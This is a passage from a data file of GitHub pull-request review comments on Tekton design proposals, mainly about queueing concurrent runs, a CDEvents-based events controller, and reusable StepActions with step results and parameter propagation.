it's less clear that there's a strong use case for other types of runs so I kept it scoped to just PipelineRuns to reduce complexity in an initial version. We can definitely expand to other types of runs if there's a clear use case.", "comment_id": 1118941939, "created_at": "2023-02-27T15:55:46Z", "line": null, "path": "teps/0132-queueing-concurrent-pipelineruns.md", "pr_number": 968, "repo": "community"} +{"author": "jerop", "body": "Want to make sure that it's clear that this proposal is not addressing PipelineRuns only\r\n```suggestion\r\n- Can \"fire and forget\" Runs by creating many Runs but preventing all of them from executing at once\r\n```", "comment_id": 1132353978, "created_at": "2023-03-10T13:09:46Z", "line": null, "path": "teps/0132-queueing-concurrent-runs.md", "pr_number": 968, "repo": "community"} +{"author": "jerop", "body": "TaskRuns, CustomRuns and PipelineRuns (coming soon through Pipelines in Pipelines) can be matrixed\r\n\r\n```suggestion\r\n- Can control the number of matrixed Runs that can execute at once\r\n```", "comment_id": 1132354941, "created_at": "2023-03-10T13:10:37Z", "line": null, "path": "teps/0132-queueing-concurrent-runs.md", "pr_number": 968, "repo": "community"} +{"author": "vdemeester", "body": "\u00dfor ?", "comment_id": 1156002093, "created_at": "2023-04-03T13:57:05Z", "line": null, "path": "teps/0132-queueing-concurrent-runs.md", "pr_number": 968, "repo": "community"} +{"author": "lbernick", "body": "whoops!", "comment_id": 1156014042, "created_at": "2023-04-03T14:06:15Z", "line": null, "path": "teps/0132-queueing-concurrent-runs.md", "pr_number": 968, "repo": "community"} +{"author": "dibyom", "body": "how does HA work with this in memory cache?", "comment_id": 1258317625, "created_at": "2023-07-10T13:59:58Z", "line": 140, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "pritidesai", "body": "Trying to understand this kind of version mapping, is it possible to keep the same version across the tekton resources and events?", "comment_id": 1260084042, "created_at": "2023-07-11T17:52:00Z", "line": 52, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "pritidesai", "body": "Does this version of events has any influence from the CDEvents project?", "comment_id": 1260084937, "created_at": "2023-07-11T17:52:51Z", "line": 52, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "pritidesai", "body": "Does this mean the event support is enabled by default?", "comment_id": 1260088303, "created_at": "2023-07-11T17:56:24Z", "line": 92, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "pritidesai", "body": "Where are the other orchestrators in process of adopting CDEvents? Have they implemented them?", "comment_id": 1260096188, "created_at": "2023-07-11T18:03:56Z", "line": 107, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "pritidesai", "body": "thanks @afrittoli for adding an example, please help me understand \ud83d\ude4f \r\n\r\n`source` represents `taskrun` but the `type` is `pipelinerun`? or am I reading this incorrectly? ", "comment_id": 1260112272, "created_at": "2023-07-11T18:17:27Z", "line": null, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "pritidesai", "body": "NIT: is there a typo? also this does not format well - https://github.com/tektoncd/community/blob/2a50cdbb4c4ea7f83a9e502d200aa84858b265f5/teps/0137-cloudevents-controller.md#performance", "comment_id": 1260122721, "created_at": "2023-07-11T18:28:05Z", "line": null, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "pritidesai", "body": "NIT: results in an empty list - https://github.com/tektoncd/community/blob/2a50cdbb4c4ea7f83a9e502d200aa84858b265f5/teps/0137-cloudevents-controller.md#references", "comment_id": 1260124046, "created_at": "2023-07-11T18:29:28Z", "line": 509, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "About aligning versions with API, the initial version of the events was `v1`, so I'm afraid it won't be possible.\r\nMoving forward, I hope Tekton events will eventually be deprecated and we will stick with CDEvents.", "comment_id": 1260253454, "created_at": "2023-07-11T20:35:57Z", "line": 52, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "CDEvents has its own [versioning scheme](https://cdevents.dev/docs/primer/#versioning), when new versions of CDEvents become available, Tekton may update its CDEvents support to newer versions. I don't think we should support multiple versions of CDEvents at once.", "comment_id": 1260255243, "created_at": "2023-07-11T20:38:00Z", "line": 52, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "No, events are only sent if a sink is configured, exactly like today.\r\nToday every reconcile cycle checks the configuration to see if events need to be sent. \r\nThat logic will be moved to a dedicated controller and will grow feature-wise over time. Operators may decide to not install the event controller at all if they do not plan to use events.", "comment_id": 1260257292, "created_at": "2023-07-11T20:40:15Z", "line": 92, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "Some more info about CDEvents.\r\n\r\nA list of implementations:\r\n- Jenkins can produce CDEvents\r\n- ArgoCD has an [RFC](https://github.com/argoproj/argo-cd/pull/13723), I plan on collaborating on one for Argo workflows too\r\n- Spinnaker proposal has been accepted, and the implementation is under review\r\n- Testkube has been implemented\r\n- Tekton has CDEvents events in the events controller in the experimental repo, this TEP proposes moving that to official support\r\n\r\nThe CDEvents project is also working with other communities, like Harbor (CNCF container registry), the proposal is close to being merged and I demoed the implementation already. We are also collaborating with CNCF, OpenSSF and VSMI.\r\n\r\nCDEvents benefits from contribution from 20 different companies, including IBM, Ericsson, Apple, Fidelity, SAS and many more. ", "comment_id": 1260265840, "created_at": "2023-07-11T20:48:47Z", "line": 107, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "The HA relies on the shading of resources, which is based on the resource key `namespace/name`, which means that all reconciles for a certain resource are going to be served by the same controller, and thus find relevant data in the cache. \r\n\r\nA controller restart drops the cache, which means that some events may be sent twice (those for running resources). ", "comment_id": 1260268490, "created_at": "2023-07-11T20:51:46Z", "line": 140, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "Thanks @pritidesai, nice catch, my example is incorrect, I will fix it.", "comment_id": 1260269289, "created_at": "2023-07-11T20:52:34Z", "line": null, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "Indeed, nice catch, thank you", "comment_id": 1260269666, "created_at": "2023-07-11T20:52:56Z", "line": null, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "afrittoli", "body": "Oh, nice catch, thank you", "comment_id": 1260270405, "created_at": "2023-07-11T20:53:45Z", "line": 509, "path": "teps/0137-cloudevents-controller.md", "pr_number": 1028, "repo": "community"} +{"author": "vdemeester", "body": "> However, it is not easy to use because it depends on `Custom Tasks`.\r\nI realize that this is a bit \"small\" as a reason. Custom Task implies additionnals component to run on the cluster (the controller+webhook, a CRD, \u2026). It's not really portable if we were having an alternative implementation (buildkit-tekton, \u2026) \u2014 conformance topic.", "comment_id": 1337447330, "created_at": "2023-09-26T15:57:38Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "khrm", "body": "It's true for most of the cases but there exists a significant number of use cases where performance with step CRD would degrade. These use cases cater to running Taskrun in parallel. ", "comment_id": 1337457512, "created_at": "2023-09-26T16:05:02Z", "line": 82, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "khrm", "body": "Also, sometimes single step `Task` hinders the reusability for QE.\r\nWe got a requirement where the user had applications that involved requiring scaffolding or services to fully run E2E. \r\n```\r\nWe need to manually define these services using sidecars in Tekton, such as:\r\n\r\n\r\nsidecars:\r\n - image: $(params.IMAGE)\r\n name: postgres\r\n script: |\r\n #! /bin/bash\r\n source /home/postgres/run_postgres.sh;\r\n - image: $(params.IMAGE)\r\n name: keycloak\r\n #etc...\r\n```\r\n\r\nBut we need to do that for different e2e test Tasks. The alternative is to write multiple steps which reduces the usability of Tasks.", "comment_id": 1337478876, "created_at": "2023-09-26T16:22:03Z", "line": 136, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Absolutely! I don't think here, were are suggesting one or the other. A Step is incomplete without a Task since it cannot be executed on its own. It's still a part of the TaskRun so the user has full capability to execute a Task with a single step. It's just that this Step does not have to be inlined. It would be nice if it could be reused.", "comment_id": 1337580889, "created_at": "2023-09-26T17:45:50Z", "line": 82, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "`s/ir/it`", "comment_id": 1338257397, "created_at": "2023-09-27T08:33:56Z", "line": 294, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "This is a nit, but we use `struct` here, which makes little sense when talking about API (`struct` is a Go concept). We should use \"object\" or something.\r\n\r\n*The reason for this is, technically the API could be written in Rust or anything*.", "comment_id": 1338260864, "created_at": "2023-09-27T08:36:16Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "I am not sure I follow this part. Do we want to enable referencing results from one step to the other ? Only for `StepAction` or any steps ? Any reason to do this instead of passing information through files (aka give the `path` of the Results to a `StepAction` param for it to know what to read) ?", "comment_id": 1338276918, "created_at": "2023-09-27T08:47:05Z", "line": 775, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "How does it \"work\" with \"Isolated workspaces\" ? https://tekton.dev/docs/pipelines/workspaces/#isolating-workspaces-to-specific-steps-or-sidecars", "comment_id": 1338279957, "created_at": "2023-09-27T08:49:23Z", "line": 853, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "I meant for it to be any Steps but here, I'm proposing that the reference to that result should be done via `step.results.resultName.path` instead of `result.resultName.path`. During referencing in a later step via `$(steps.StepName.results.resultName)`, the entrypointer does not know which step to reference it from. The reason for this step referencing is because multiple step actions in a Task could produce a result name same thing (e.g. `digest`, which is a common name) but actually need to be different. The Task author putting together these steps should be able to capture their results without the risk of them overwriting each other.", "comment_id": 1338626838, "created_at": "2023-09-27T13:38:06Z", "line": 775, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "I think in the same way. If I understand correctly, `isolatedWorkspaces` is just telling the controller to only bind the workspace to a specific container. When used in the `actionable` part of the step, a Task author is still doing something like `$(workspaces.workspaceName.path)` or something which could just as easily be passed as a parameter. \r\n\r\nAlso, `isolatedWorkspaces` is not a property of the `StepAction`. It's more of an orchestration field that the Task author better understands when constructing the Task long side other steps. A standalone `StepAction` does not have enough context to request an `isolatedWorkspace`. In fact, something like that would make it the `step action` less reusable.", "comment_id": 1338631545, "created_at": "2023-09-27T13:40:42Z", "line": 853, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "captured.", "comment_id": 1342793670, "created_at": "2023-10-02T14:49:10Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "pritidesai", "body": "```suggestion\r\nThe minimum reusable unit of work in Tekton, `Task`, currently cannot natively execute in isolation without relying on a shared file system. As such, Tekton users/authors have to compromise reusability for security, and performance. This design doc revisits the components and architecture of Tekton CRDs to both enable secure reusable objects and optimize performance. \r\n```", "comment_id": 1343212055, "created_at": "2023-10-02T22:09:02Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "pritidesai", "body": "```suggestion\r\n`Tasks` are the reusable unit of work in Tekton. A `Task` is made up of a sequence of `Steps`. A `Task` and its `Steps` execute in Kubernetes as a `Pod` made up of a sequence of `Containers`. The `Steps` of a `Task` have access to ephemeral shared storage such as `emptyDir`. `Tasks` are combined in `Pipelines` which are graphs where each node represents a `Task`. The `Tasks` in a `Pipeline` execute in separate `Pods`, thus they need to share data via a `Workspace` that is generally backed by a `volume`.\r\n```", "comment_id": 1343222944, "created_at": "2023-10-02T22:27:32Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "pritidesai", "body": "Running one huge `pod` with a series of containers running in sequence might not gain as much performance as expected.\r\n\r\nFor a common CI/CD use case, a simple application repo, git-clone can be the first step followed by building an image from that repo.\r\n\r\nAnd a pipeline building many jar files as part of a single build process might be expensive and not feasible for a single pod.\r\n\r\n", "comment_id": 1343278658, "created_at": "2023-10-03T00:24:19Z", "line": 82, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Agreed that there are many cases where running sequentially degrades performance. \r\n\r\nThe point here is that the moment a user wants to combine steps that they reuse, they have to choose between `copy-and-pasting` (the usability factor) or write them as tasks (to get that reusability) and put those tasks in sequence (which hinders performance compared to two steps in sequence). This statement is targeting simple use-cases where users are really forced to write a pipeline where it makes more sense to simply write a Task.\r\n\r\nWriting a Task for performance compared to a pipeline in all cases is definitely not the message that we're trying to make here.", "comment_id": 1344136545, "created_at": "2023-10-03T13:46:40Z", "line": 82, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "pritidesai", "body": "typo: s/param2/url2/", "comment_id": 1344604379, "created_at": "2023-10-03T19:09:56Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "pritidesai", "body": "> Do we want to enable referencing results from one step to the other ?\r\n\r\nThe proposal is to enable referencing results produced by any previous step.\r\n\r\n> Only for StepAction or any steps ? \r\n\r\nonly for StepAction. `StepAction` is mostly envisioned as a replacement of a `task` with a single step.\r\n\r\n> Any reason to do this instead of passing information through files (aka give the path of the Results to a StepAction param for it to know what to read) ?\r\n\r\nIt's the same concept, some content is written to a file in a pre-defined location in `/tekton/steps/` v/s user specifies their own choice of a path. The users still have a choice to not rely on `results` but create a file as a means of information exchange. ", "comment_id": 1344613672, "created_at": "2023-10-03T19:18:41Z", "line": 775, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "> > Do we want to enable referencing results from one step to the other ?\r\n> \r\n> The proposal is to enable referencing results produced by any previous step.\r\n> \r\nYes, here I intended between steps. That's because when users use `StepActions`, they are using what someone else has already written. When inlining steps, it's a very different behaviour because the same author is writing their custom script to handle results created by previous steps. \r\n\r\n> > Only for StepAction or any steps ?\r\n> \r\n> only for StepAction. `StepAction` is mostly envisioned as a replacement of a `task` with a single step.\r\n> \r\n\r\nI don't think we can distinguish between Step and StepAction once the Pod is created because the StepAction is basically converted to an inlined step after it is fetched from the cluster/remote resource. Therefore, this is meant for any Steps.\r\n\r\n> > Any reason to do this instead of passing information through files (aka give the path of the Results to a StepAction param for it to know what to read) ?\r\n> \r\n> It's the same concept, some content is written to a file in a pre-defined location in `/tekton/steps/` v/s user specifies their own choice of a path. The users still have a choice to not rely on `results` but create a file as a means of information exchange.\r\n\r\nAgreed. The StepAction could totally accept a path to a result file as a param that it could read. However, I think we have the full ability to do this automatically via the entryPointer so it might be best to just provide this as an API sugar so that users don't have to worry about unmarshaling the results. Normally this wouldn't even be required when just inlining the steps since the users have the ability to work around it. Since the StepActions are written in isolation, this is more needed now so that Task authors putting multiple step actions together can rely on passing results to following steps.I think, adding this capability will increase the chances for adoption since it will reduce UX barrier.\r\n", "comment_id": 1344779545, "created_at": "2023-10-03T21:46:40Z", "line": 775, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "NIT: The \"When users need to combine `Steps` to execute together\" part clarifies that this is not for all use cases, but maybe it could be made a bit more explicit. \r\n\r\nThere are many different use cases, depending on this shape, duration and data I/O of each workload it makes more sense to spread them around in different pods and pay the pod setup cost and data I/O to share data, or keep them together in a pod, and pay the reusability, duration and scalability cost that goes with it. This proposal helps reducing the \"reusability\" cost from the second option, which I think is a great advancement for Tekton.", "comment_id": 1345399164, "created_at": "2023-10-04T08:22:01Z", "line": 82, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "Some project have targets for CI jobs to run within a minute or so, several seconds already have a big impact there.", "comment_id": 1345403346, "created_at": "2023-10-04T08:25:02Z", "line": 93, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "The overhead may very well be cloud specific, but indeed I doubt it could go below the ~10s.\r\nNote that the PVC overhead could run in parallel to the Pod setup.", "comment_id": 1345405530, "created_at": "2023-10-04T08:26:38Z", "line": 101, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "This is not as verbose as including the step itself, but it does take a non insignificant amount of lines.\r\nIt's not a `stepAction` specific issues, it's a general verbosity issue with remote resolution, so it's something we may look into addressing in a different proposal.\r\n\r\nIf we had a way to define named sources of resources (platform-wide or namespace-wide) we could have a syntax like `stepRef: name:version@resolver` or something along these lines", "comment_id": 1345516571, "created_at": "2023-10-04T09:45:38Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "Referencing params directly in scripts is discouraged and we should try not use it in examples.\r\nAvoiding that will give a more realistic impression of what a `StepAction` definition may look like.", "comment_id": 1345525197, "created_at": "2023-10-04T09:52:04Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "Propagation is quite established as a mechanism now, so I would vote for having propagation from the start.\r\nSomething else that could be nice to have tools that help authoring `Tasks` in IDEs, for instance automatically adding to a Task all params from reference steps that are not set (outside of the scope of this TEP).", "comment_id": 1345604264, "created_at": "2023-10-04T10:56:20Z", "line": 581, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "I understand why this is needed, it's unfortunate that it adds another layer of indirection for users. To publish a result from a `stepAction`, the same result needs to be redefined in the `Task` and in the `Pipeline`, which is quite cumbersome. \r\nOne possible way to help with that could be tools in IDE that generate those references automatically.\r\n\r\nAnother possibility could be to allow for results to be implicitly exported from steps to tasks down to pipeline. \r\nThe consequence of that is that it would not be possible to know which results to expect just by looking at a pipeline definition - tasks and steps would have to be resolved first. \r\n\r\nSome users do not need that upfront knowledge of outputs from a pipeline, and will be happy with the reduced complexity in writing `Tasks` and `Pipelines`. Other users will prefer to have results clearly defined at the `Task` and `Pipeline` level instead.\r\n\r\nA possible solution could be to export results by default, and give users a way to prevent that, e.g:\r\n- if a `Task` do not define `results`, all results from steps are exported\r\n- if a `Task` define `results`, only consider those defined there\r\n- provide `Task` authors with a keyword to export step results and add more, something like a special result calls `fromSteps` that pulls in all step results\r\n\r\nThis work could be done separately from this TEP and applied to pipeline results too.", "comment_id": 1345620832, "created_at": "2023-10-04T11:11:40Z", "line": 662, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "How would step results look like from an implementation POV?\r\n\r\nMy guess is:\r\n- step results are stored in /tekton/results\r\n- step results are *not* added to the `TaskRun` status \r\n\r\nIs this a fair assumption?", "comment_id": 1345793116, "created_at": "2023-10-04T13:24:02Z", "line": 657, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "I think I would like to see a little bit more details about how things will work with steps:\r\n\r\n- how are step results implemented? Is there any change foreseen in the `status` of `TaskRuns`? \r\n- what kind of validation will exist for `stepActions` and when it will be enforced\r\n- how will the API versions and feature be managed? My understanding is that the new CRD will be `v1alpha1.StepAction` and that `stepRef` will be an alpha feature in `v1.Task`. Will the `StepAction` CRD version and `stepRef` feature version advance in sync? ", "comment_id": 1345814095, "created_at": "2023-10-04T13:38:00Z", "line": 2, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "My understanding is that this syntax in `Tasks` is deprecated or at least discouraged, `Workspaces` where introduced to abstract that away. Volume references require the runtime name of a specific volume to mount, and are a bad fit for an authoring time resource like a `Task`.\r\n\r\nI don't think we should bring `volumeMounts` into `StepAction`. ", "comment_id": 1345830672, "created_at": "2023-10-04T13:48:48Z", "line": 968, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Sounds great! I will add that in. ", "comment_id": 1345954738, "created_at": "2023-10-04T14:56:36Z", "line": 2, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "> Agreed. The StepAction could totally accept a path to a result file as a param that it could read. However, I think we have the full ability to do this automatically via the entryPointer so it might be best to just provide this as an API sugar so that users don't have to worry about unmarshaling the results. Normally this wouldn't even be required when just inlining the steps since the users have the ability to work around it. Since the StepActions are written in isolation, this is more needed now so that Task authors putting multiple step actions together can rely on passing results to following steps.I think, adding this capability will increase the chances for adoption since it will reduce UX barrier.\r\n\r\nI am not sure, I follow here. The proposal is to be able to use a `result` as \"content\" for a parameter value right ? It's not that different from having a parameter that says \"read the data from that file\", but it is sugar \ud83d\ude43. The \"funny\" use case would be, some refers to a `results` \u2014 so getting the content of it \u2014 to write a file with it to pass to the underlying process. That use case would have been better supported with just giving the path (which is still possible so \ud83e\uddd1\u200d\ud83d\udd27 ).\r\n\r\nIMO, this is a \"nice to have\" feature but is not necessarily a requirement. But \ud83d\udc4d\ud83c\udffc anyway \ud83d\ude1d .", "comment_id": 1346058871, "created_at": "2023-10-04T15:17:36Z", "line": 775, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "Good point \ud83d\udc7c\ud83c\udffc ", "comment_id": 1346059425, "created_at": "2023-10-04T15:18:00Z", "line": 853, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "vdemeester", "body": "Even though I agree, I see this as orthogonal from this proposal. It is consistent with the \"resolvers\" syntax today. We should aim to enhance / simplify that, for all resolvers usage at once.", "comment_id": 1346076345, "created_at": "2023-10-04T15:29:47Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "I agree with @vdemeester. I think we could consider shortening the resolver syntax across the board separately. \r\n\r\nI think this also goes to @dibyom's point at the API WG related to conformance spec. \"Keep the name in the Conformance API but let the resolvers interpret the names themselves\". ", "comment_id": 1346362052, "created_at": "2023-10-04T19:30:08Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Thanks for bringing that up. I didn't really know that. May be because we use examples in our codebase that are filled with using params directly inside scripts. A lot of my knowledge on the uses is from those examples. I wonder if others are in the same boat as well. \r\n\r\nI think we should really have guidelines/best practices doc that lays all this out. Or may be it already exists and I just don't know about it. \r\n\r\nWill fix!", "comment_id": 1346364728, "created_at": "2023-10-04T19:32:55Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "I like the idea of introducing propagated params from the start. That way, users will just need to provide params where they need to resolve conflicts.\r\n\r\nWDYT @jerop ?", "comment_id": 1346366971, "created_at": "2023-10-04T19:35:14Z", "line": 581, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Completely agreed! I think we can visit this as future work (i.e. `promoted results`). \r\n\r\nFor now, a good compromise might be to make the step results available to Task results by default with the expectation that if there are name conflicts then users have to explicitly request them using the above suggested syntax. If users don't resolve the names then they will be overwritten by the following step. \r\n\r\nSo if an author uses two StepActions in a task that produce a result called \"digest\" and a third StepAction that produces a result called \"foo\" then \"foo\" would be propagated to the Task by default and the Task author would only need to explicitly call out the result \"digest\" using the above syntax. \r\n\r\nThis would be similar to params where instead of explicitly declaring all params, they only provide params that have name conflicts.\r\n\r\nWDYT?\r\n\r\ncc @pritidesai ", "comment_id": 1346384103, "created_at": "2023-10-04T19:50:04Z", "line": 662, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Agreed that this is not a requirement but a nice to have. I think when I initially put together the tasks-in-tasks doc, some readers even explicitly asked if this type of feature would be available.", "comment_id": 1346388377, "created_at": "2023-10-04T19:54:05Z", "line": 775, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "This was based on a lot of catalog Tasks that rely on volumeMounts. I think they are not deprecated but there was an effort trying to deprecate it. I don't think we got around to it. @dibyom had very good reasons for bringing this into `StepActions` so I want to let him explain why.", "comment_id": 1347966218, "created_at": "2023-10-05T21:01:29Z", "line": 968, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "I added sections on `API version and feature` and `Validation of StepActions and Steps`. As far as how `Step` results are implemented, I'll be making changes to the `Results` section in the doc (I've responded to your comments there so PTAL). \r\n\r\nThanks! ", "comment_id": 1348806222, "created_at": "2023-10-06T14:34:54Z", "line": 2, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "A step can write results to `/tekton/results` using `$(results.)` or to `/tekton/steps//results/` using `$(step.results.)`. The second path is critical for `StepActions` if they want to avoid potential name conflicts with other steps and accidentally overwrite that step.\r\n\r\nIn the previous comment, and following discussions in the Data interfaces WG meeting:\r\n\r\n```\r\nFor now, a good compromise might be to make the step results available to Task results by default with the expectation that if there are name conflicts then users have to explicitly request them using the above suggested syntax. If users don't resolve the names then they will be overwritten by the following step.\r\n\r\nSo if an author uses two StepActions in a task that produce a result called \"digest\" and a third StepAction that produces a result called \"foo\" then \"foo\" would be propagated to the Task by default and the Task author would only need to explicitly call out the result \"digest\" using the above syntax.\r\n\r\nThis would be similar to params where instead of explicitly declaring all params, they only provide params that have name conflicts.\r\n```", "comment_id": 1349259764, "created_at": "2023-10-06T19:55:57Z", "line": 657, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "Thanks @chitrangpatel. As I understand, this means that:\r\n- when `enable-step-actions` is alpha, the `v1` Task will be able to use `v1alpha1.StepActions`\r\n- when `enable-step-actions` is beta, the `v1` Task will be able to use `v1beta1.StepActions`. Will support for the `v1alpha1.StepActions` cease immediately? Will we provide a conversion webhook/logic?\r\n- when `enable-step-actions` is stable, the `v1` Task will be able to use `v1.StepActions`. How will we handle support for `v1beta1.StepAction`?", "comment_id": 1350138026, "created_at": "2023-10-09T10:42:07Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "`name` is an optional field for inlined steps. Will it be mandatory for referenced steps?", "comment_id": 1350149692, "created_at": "2023-10-09T10:54:57Z", "line": 739, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "afrittoli", "body": "Is this still valid, even with the automatic surfacing of `results`?", "comment_id": 1350155227, "created_at": "2023-10-09T11:00:42Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Thanks for the detailed questions. It helped me dig into more details. I updated it. PTAL at the section in the TEP. \r\n\r\nI think we will have a deprecation window between each promotion so that users can make the transition from `v1alpha1 --> v1beta1 --> v1`. And in the interim, we will have web hook conversion to convert between the two so that the TaskRun controller can work with only one of the two types.", "comment_id": 1350713746, "created_at": "2023-10-09T19:13:59Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Great question. \r\n\r\nThe only place we really need a name of a `Step` is when referencing it for `Results` in following `Steps` or capturing them in `Tasks`. I think that without that `name` the users will not be able to use `$(steps..results.)` in the first place so they will be forced to use it.\r\n\r\nTherefore, for backwards compatibility, I'm proposing that we don't make the `name` field mandatory at all. \r\n\r\nWDYT?", "comment_id": 1350717629, "created_at": "2023-10-09T19:19:51Z", "line": 739, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Fixed. I updated the text. It is only needed when there are potential name conflicts. E.g. if two step actions produce results with the same name then the Task author can use this syntax to attach the result to another name at the Task level.\r\n\r\nSay, step1 produces a result called `digest`.\r\n`step2` also produces a result called `digest` and `url`\r\n\r\nIn this case, the task author needs to distinguish between step1's `digest` and step2's. There they can use:\r\n\r\n```\r\nresults:\r\n - name: digest1\r\n value: $(step.step1.results.digest)\r\n - name: digest2\r\n value: $(step.step2.results.digest)\r\n```\r\n\r\nFailure to do so will cause both the results to be automatically surfaced to the Task where the second one i.e. Step2's result will overwrite Step1's.\r\n\r\nThe result `url` from `Step2` will be automatically surfaced to the Task level. But since there is no other step in the Task producing a result called `url`, the Task author does not need to resolve anything.", "comment_id": 1350745298, "created_at": "2023-10-09T20:02:47Z", "line": null, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "Please re-read the Results section. I've updated it based on discussions in several comment threads and discussions in the Data interfaces WG. ", "comment_id": 1350753407, "created_at": "2023-10-09T20:15:12Z", "line": 657, "path": "teps/0142-enable-step-reusability.md", "pr_number": 1065, "repo": "community"} +{"author": "chitrangpatel", "body": "On second thoughts, I think we rejected propagated params for referenced Tasks and Pipelines because the usage of those parameters in the referenced Tasks/Pipelines is opaque to the users providing them. We only propagated params for inlined specification. For the same reason, I think we should not propagate params here since all the StepActions are referenced. \r\n\r\nTo reduce scope here, we can revisit propagation of params and workspaces in referenced specification as a part of future work if needed. WDYT?", "comment_id": 1350758313, "created_at": 